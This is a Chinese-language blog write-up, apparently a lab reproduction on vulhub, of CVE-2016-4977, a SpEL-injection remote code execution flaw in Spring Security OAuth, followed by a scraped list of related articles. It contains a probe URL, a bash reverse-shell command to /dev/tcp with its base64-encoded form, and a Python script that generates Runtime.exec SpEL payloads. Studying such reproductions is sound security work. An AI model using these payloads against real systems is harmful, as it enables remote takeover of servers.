0x00 前言

最近几个月一直在学代码,所以一直没有更新文章,废话少说,开始陆续更新一波spring框架的漏洞。

--学如逆水行舟,不进则退

0x01 Spring框架的概念

Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益

0X02 漏洞简介

Spring Security OAuth2处理认证请求的时候如果使用了whitelabel视图,response_type参数值会被当做Spring SpEL来执行,恶意攻击者通过构造response_type值可以触发远程代码执行漏洞

具体的漏洞分析:

SpringSecurityOauth RCE (CVE-2016-4977) 分析与复现 - ka1n4t - 博客园 (cnblogs.com)

0x03 影响版本

Spring Security OAuth 2.3到2.3.2

Spring Security OAuth 2.2到2.2.1

Spring Security OAuth 2.1到2.1.1

Spring Security OAuth 2.0到2.0.14

0x04 漏洞复现 

此处使用的环境是vulhub靶场中的,也可以在vulfocus靶场中启动都一样的

1. 启动环境之后,访问靶场,出现以下图片说明搭建成功

2.搭建成功之后,拼接一下路径和payload来检测一下是否存在漏洞

注意:::记得将ip修改自己靶场ip,执行的命令即为括号内的2*3

http://your-ip:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

拼接访问之后发现执行成功,如下图:

3.反弹shell

此处需要使用到python脚本来生成要执行的payload,脚本放在文末

使用python3运行脚本,然后输入反弹shell的命令即可生成paylaod

反弹shell命令如下:                     ip修改为自己的

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1122 0>&1

将反弹shell命令进行bash64编码

乱码即为反弹shell的命令,修改为自己的

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3h4eC54eHgueHh4Lnh4eC8xMTIyIDA+JjE=}|{base64,-d}|{bash,-i}

使用脚本生成payload,如下图:

运行脚本之后输入上述格式的反弹shell的命令 

payload生成好之后,将${2*3}替换为生成的payload即可反弹shell

http://your-ip:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

nc监听,在url处拼接,进行访问,反弹shell,如下图:

也可抓包,拼接之后,重放,如下图:

0X05 漏洞修复

修复这里就不说了,很老的漏洞

生成payload脚本如下:

#!/usr/bin/env pythonmessage = input('Enter message to encode:')poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])for ch in message[1:]:poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)poc += ')}'print(poc)

cve-2016-4977(spring-security-oauth) RCE漏洞复现相关推荐

  1. spring security oauth rce (cve-2016-4977) 漏洞分析

    0x00 漏洞概述 1.漏洞简介 Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,在7月5日其维护者发布了这样一个升级公告,主要说明在用户使用Whitelab ...

  2. RedMonk最新编程语言排行榜;Spring 框架现 RCE 漏洞……|叨资讯

    点击关注强哥,查看更多精彩文章呀 哈喽,大家好,我是强哥. Spring 框架现 RCE 漏洞:按月租用iPhone手机.随时能换新款:俄罗斯或将转用 HarmonyOS:Chrome 100发布:R ...

  3. Spring Security OAuth 2开发者指南译

    Spring Security OAuth 2开发者指南译 介绍 这是用户指南的支持OAuth 2.0.对于OAuth 1.0,一切都是不同的,所以看到它的用户指南. 本用户指南分为两部分,第一部分为 ...

  4. Spring Security OAuth笔记

    因为工作需要,系统权限安全方面可能要用到Spring Security OAuth2.0,所以,近几天了解了一下OAuth相关的东西.目前好像还没有系统的学习资料,学习主要是通过博客,内容都是大同小异 ...

  5. 单点登录(shiro与Spring Security OAuth 2.0的集成)

    单点登录(shiro与Spring Security OAuth 2.0的集成) shiro项目采用ruoyi,OAuth采用pig 若依:https://gitee.com/y_project/Ru ...

  6. 用友php漏洞,用友GRP-u8 注入-RCE漏洞复现

    用友GRP-u8 注入-RCE漏洞复现 (HW第一时间复现了,当时觉得不合适,现在才发出来) 一.漏洞简介 用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导 ...

  7. x友GRP-u8 注入-RCE漏洞复现

    用友GRP-u8 注入-RCE漏洞复现 一.漏洞简介 用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件. 二.漏洞复现 SQL注入POC ...

  8. CVE-2019-15107 webmin RCE漏洞复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2019-15107 webadmin RCE漏洞复现. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成 ...

  9. thinkphp 5.0.23 rce漏洞复现

    thinkphp 5.0.23 rce漏洞复现 thinkphp介绍 thinkphp是一个快速.兼容而且简单的轻量级国产php开发框架,支持windows/Unix/linux等服务器环境,并且有相 ...

最新文章

  1. Dataset之Pascal:Pascal竞赛及其Pascal VOC(VOC 2012、VOC 2007) 数据集的简介、下载、使用方法详细攻略
  2. 不擅长面试可以怎么准备面试?
  3. Asp.Net Core 5 REST API - Step by Step(一)
  4. python2中的unicode_在python 3和2中工作的Unicode文字
  5. mysql外键引用语法_mysql – 外键语法
  6. 软考一般知识之数据库
  7. 小米9震撼发布!米粉大呼价格太良心 2999元起稳了吗?
  8. 分享]人生忠告——七天改变人生影响世界
  9. C++ 变量在内存中的分布
  10. Linux忘记密码修改密码
  11. Webpack打包UMD的export要带default访问问题
  12. 2021 编程语言排行榜
  13. python图像处理(三)波形叠加模拟
  14. JUC —— 常用辅助类
  15. Windows列出系统所有补丁(wmic)
  16. PageOffice 安装使用说明
  17. doctrine 关系
  18. 周志华老师开课啦!机器学习视频课上线了(附地址)
  19. flutter 返回桌面
  20. CYK 算法 Python 实现

热门文章

  1. Centos7 安装Docker(2020最新亲测可用,直接复制粘贴即可)
  2. 一、Keil5简介、下载及安装
  3. Lua封装C++实践(三)——Lua注册C++构造函数
  4. C++ 笔记 —— 实现一个环形阻塞队列
  5. 滴水逆向三期实践16:IAT表和导入表
  6. 基于HTML+CSS+JS的肇庆学院首页静态页面源码
  7. MacBook 终端terminal vim配置
  8. 手机linux内核版本了解,Linux内核版本介绍与查询
  9. 中国移动数字多媒体广播(CMMB)
  10. python求和1到100_Python3基础 sum,range 计算1到100的和